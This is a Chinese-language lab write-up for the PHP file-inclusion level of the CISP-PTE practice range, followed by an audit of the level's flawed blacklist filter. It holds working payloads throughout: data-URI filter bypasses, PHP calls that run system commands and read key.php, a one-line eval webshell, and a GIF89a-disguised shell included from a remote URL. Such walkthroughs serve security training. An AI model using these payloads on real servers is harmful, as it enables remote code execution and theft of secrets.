目录
(4)方法3:data:data:////text/plain,
[(2)ljn= system('cat ../key.php');](#(2)ljn= system('cat ../key.php');)
[(3)ljn= highlight_file('../key.php');](#(3)ljn= highlight_file('../key.php');)
[(1)远程包含:ljn= phpinfo();](#(1)远程包含:ljn= phpinfo();)
[(2)远程包含:ljn= highlight_file('../key.php');](#(2)远程包含:ljn= highlight_file('../key.php');)
本文通过9种方法详细讲解CISP-PTE靶场文件包含关卡的渗透实战全流程。首先通过靶场提示确认存在PHP文件包含风险,随后采用多种data协议绕过方法(如单斜杠、无斜杠、双写绕过等)成功执行PHP代码。文章展示了3大类方法获取flag,整个渗透过程全面覆盖了文件包含关卡的利用技巧和防御绕过方法。在源码分析部分,详细解读存在缺陷的黑名单过滤机制。获取flag的具体方法如下所示:
- 直接读取flag:包括使用readfile、system、highlight_file等7种方法。
- 通过蚁剑工具连接木马获取key值。
- 最后讲解了远程文件包含的实现方法,包括构造木马脚本、上传访问及远程执行命令。
一、渗透准备
1、打开靶场
打开靶场,页面提示"PHP文件包含风险的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。测试该网站可能存在的包含风险,尝试获取webshell,答案就在根目录下key.php文件中。"

2、开始答题
点击开始答题,进入如下页面
http://fd06f791.clsadp.com/start/index.php?page=hello
http://fd06f791.clsadp.com/start/index.php?page=hello
http://fd06f791.clsadp.com/start/index.php?page=hello
我们发现url中输入了hello ,页面请求到的是hello.txt ,说明后端会给page中的参数强制加上一个.txt

http://fd06f791.clsadp.com/start/index.php?page=mooyuan
http://fd06f791.clsadp.com/start/index.php?page=mooyuan
http://fd06f791.clsadp.com/start/index.php?page=mooyuan
基于此,可以考虑远程文件包含渗透,在云服务器编写包含一句话木马的txt文件ljn_shell.txt,然后远程包含?page=http://x.x.x.x/ljn_shell.txt使用蚁剑工具连接即可,远程包含在本篇最后来进行渗透实践。
3、data协议探测<?php phpinfo();?>
面对这种情况,我们尝试使用data协议进行写一个phpinfo试试看能否执行
(1)data://text/plain,<?php phpinfo();?>
http://fd06f791.clsadp.com/start/index.php?page=data://text/plain,\<?php phpinfo();?>
如下所示,看起来过滤了data://关键字。

(2)方法1:data:/text/plain,<?php phpinfo();?>
data:// - 完整的RFC 2397数据URI协议标识
PHP的文件流包装器具有很好的容错性,以下形式PHP都能识别为data协议
"data://text/plain,test"; // 标准形式
"data:/text/plain,test"; // 单斜杠
"data:text/plain,test"; // 无斜杠
我们选择单斜杠的**data:/text/plain,<?php phpinfo();?>**作为payload,如下所示,渗透成功。
http://fd06f791.clsadp.com/start/index.php?page=data:/text/plain,\<?php phpinfo();?>

(3)方法2:data:text/plain,<?php phpinfo();?>
我们选择无斜杠的**data:text/plain,<?php phpinfo();?>**作为payload,如下所示,渗透成功。
http://fd06f791.clsadp.com/start/index.php?page=data:text/plain,\<?php phpinfo();?>

(4)方法3:data:data:////text/plain,<?php phpinfo();?>
使用双写绕过方法data:data:////text/plain,<?php phpinfo();?>

二、获取flag值
1、data协议直接读取flag
(1)方法1:data:/text/plain, <?php readfile('../key.php');?>
我们选择单斜杠的data:/text/plain, <?php readfile('../key.php');?>作为payload,如下所示,渗透成功。
http://fd06f791.clsadp.com/start/index.php?page=data:/text/plain, <?php readfile('../key.php');?>

(2)方法2:data:text/plain, <?php readfile('../key.php');?>
http://fd06f791.clsadp.com/start/index.php?page=data:text/plain, <?php readfile('../key.php');?>
我们选择无斜杠的data:text/plain, <?php readfile('../key.php');?>作为payload,如下所示,渗透成功。

(3)方法3:data:/text/plain,<?php system('cat ../key.php');?>
http://fd06f791.clsadp.com/start/index.php?page=data:/text/plain,\<?php system('cat ../key.php');?>
通过右键-元素,在html页面中可以找到flag值,如下所示。

我们使用burpsuite抓包,查看response发现flag,如下所示。

(4)方法4:data:text/plain, <?php echo file_get_contents('../key.php');?>
http://fd06f791.clsadp.com/start/index.php?page=data:text/plain, <?php echo file_get_contents('../key.php');?>>

(5)方法5:data:/text/plain,<?php highlight_file('../key.php');?>
使用highlight_file高亮显示 - 语法高亮输出key值,如下所示。
http://fd06f791.clsadp.com/start/index.php?page=data:/text/plain,\<?php highlight_file('../key.php');?>

(6)方法6:data:text/plain, <?php show_source('../key.php');?>
使用使用show_source函数 - highlight_file的别名 - 语法高亮输出key值,如下所示。
http://fd06f791.clsadp.com/start/index.php?page=data:/text/plain,<?php show_source('../key.php');?>

(7)方法7:data:/text/plain,<?php system('more ../key.php');?>
http://fd06f791.clsadp.com/start/index.php?page=data:/text/plain,\<?php system('more ../key.php');?>

2、data协议连接木马查看flag
攻击载荷:data:text/plain,<?php @eval($_POST[ljn]);?>
http://fd06f791.clsadp.com/start/index.php?page=data:text/plain,\<?php @eval($_POST[ljn]);?>
(1)ljn=phpinfo();
POST数据:ljn=phpinfo();

(2)ljn= system('cat ../key.php');
POST数据:ljn= system('cat ../key.php');

右键查看源码,如下所示。

(3)ljn= highlight_file('../key.php');
ljn=highlight_file('../key.php');

(4)蚁剑工具连接



(5)蚁剑工具查看key值
如下所示,在网址根目录发现key.php,双击即可成功查看key值。


三、源码分析
1、查看源码
使用蚁剑工具查看本关卡源码,如下所示。
/var/www/html/start/index.php
PHP代码实现了一个存在安全缺陷的文件包含功能,它首先通过$_GET['page']获取用户输入,然后使用str_replace函数依次移除php://、file://、ftp://、zlib://、data://、glob://、phar://、ssh2://、rar://、ogg://和expect://共11种危险协议前缀进行黑名单过滤,最后强制为输入参数添加.txt文件扩展名,旨在通过协议过滤和文件类型限制来防止恶意文件包含攻击,但最终仍将处理后的参数直接传递给include函数执行包含操作。

2、代码审计
这是基于php的文件包含关卡,代码通过$_GET['page']获取用户输入后,使用str_replace函数依次移除php://、file://、ftp://、zlib://、data://、glob://、phar://、ssh2://、rar://、ogg://和expect://共11种危险协议前缀进行黑名单过滤,并强制添加.txt扩展名限制文件类型,最后将处理结果显示在红色文本区域并通过include函数执行文件包含操作。该页面旨在展示不完整安全过滤机制的风险,虽然采用了协议过滤和扩展名限制的双重防护,但基于简单字符串替换的黑名单方式存在固有缺陷,可被攻击者通过双写混淆、未过滤协议、路径遍历等多种技术绕过,最终导致任意文件读取或远程代码执行的安全风险。
<?php error_reporting(0); ?> <!-- 关闭所有PHP错误报告,防止敏感信息通过错误信息泄露 -->
<?php include("function.php"); ?> <!-- 引入外部函数文件,可能包含filter()等过滤函数 -->
<html>
<head>
<title></title> <!-- 页面标题为空 -->
<link rel="stylesheet" href="../css/bootstrap.css"> <!-- 引入Bootstrap前端框架样式 -->
<link rel="stylesheet" href="../css/nav.css"> <!-- 引入自定义导航栏样式 -->
<meta charset="UTF-8"> <!-- 设置页面字符编码为UTF-8 -->
</head>
<body>
<?php include '../header.php';?> <!-- 引入页面头部模板文件 -->
<div class="container mt-5 min-height main-body"> <!-- 主内容容器,设置上边距和最小高度 -->
<div class="row">
<div class="col-7 m-auto"> <!-- 创建响应式列,宽度7/12,水平居中 -->
<h2>文件包含</h2> <!-- 页面主标题,明确标识文件包含 -->
<?php
$page=$_GET['page']; // 从GET参数获取page值,这是用户控制的输入点
// 开始安全过滤:使用str_replace移除危险协议前缀(黑名单方式)
// 依次过滤11种常见的危险协议包装器:
$page=str_replace("php://", "", $page); // 移除PHP流包装器协议,防止执行PHP代码
$page=str_replace("file://", "", $page); // 移除本地文件协议,防止读取系统文件
$page=str_replace("ftp://", "", $page); // 移除FTP文件传输协议,防止远程文件包含
$page=str_replace("zlib://", "", $page); // 移除压缩流协议,防止读取压缩包内文件
$page=str_replace("data://", "", $page); // 移除数据流协议,防止通过Data URI执行代码
$page=str_replace("glob://", "", $page); // 移除全局模式协议,防止通配符文件匹配
$page=str_replace("phar://", "", $page); // 移除PHAR归档协议,防止包含PHAR包中的文件
$page=str_replace("ssh2://", "", $page); // 移除SSH2协议,防止通过SSH连接访问文件
$page=str_replace("rar://", "", $page); // 移除RAR压缩协议,防止读取RAR压缩包
$page=str_replace("ogg://", "", $page); // 移除音频流协议,防止异常文件操作
$page=str_replace("expect://", "", $page); // 移除Expect协议(最危险),防止执行系统命令
$page= $page . ".txt"; // 强制添加.txt扩展名,试图将文件类型限制为文本文件
?>
<br>
<span style="color:red"> <!-- 红色文本显示区域,用于展示过滤后的文件路径 -->
<?php
echo ">> ".$page; // 显示最终要包含的文件路径(可能意外泄露过滤结果)
?>
</span>
<br>
<br>
<?php
// 关键风险点:直接包含过滤后的文件路径
// 虽然进行了协议过滤和扩展名限制,但过滤机制存在缺陷
include($page); // 执行文件包含操作,此处存在安全风险
?>
</div>
</div>
</div>
<?php include '../footer.php';?> <!-- 引入页面底部模板文件 -->
</body>
</html>
四、远程文件包含读取flag
注意:本步骤中的第(2)和(3)只是为了让脚本可以通过URL访问做的一个等价功能,只是这个脚本所在服务器就是当前服务器而已,从而模拟远程文件包含功能,这一步主要是为自己没有公网服务器的读者讲解下如何复现使用远程包含进行渗透实战的过程
1、获取远程脚本URL
(1)构造脚本
新建一个存放着一句话木马的php文件,脚本名为ljn_shell.txt。这个脚本的特点是在木马脚本的首部添加GIF89a,文件内容开头为 GIF89a,使脚本满足GIF格式的文件头签名。脚本执行时输出"mooyuan",实际核心是@eval($_POST['ljn']),该代码允许攻击者通过向该文件发送包含ljn参数的POST请求来远程执行任意****PHP 命令 。
|-----------------------------------------------------------|
| GIF89a <?php echo "mooyuan"; @eval($_POST['ljn']); ?> |
(2)上传脚本
使用蚁剑工具上传木马ljn_shell.txt到网址根目录,如下所示。

上传成功后查看脚本,如下所示。

(3)获取并访问脚本URL
由于脚本被上传到根目录,故而其URL地址为http://fd06f791.clsadp.com/ljn_shell.txt 如下所示成功访问。

2、远程文件包含
(1)远程包含:ljn= phpinfo();
http://fd06f791.clsadp.com/start/index.php?page=http://fd06f791.clsadp.com/ljn_shell
ljn=phpinfo();

(2)远程包含:ljn= highlight_file('../key.php');
ljn=highlight_file('../key.php');
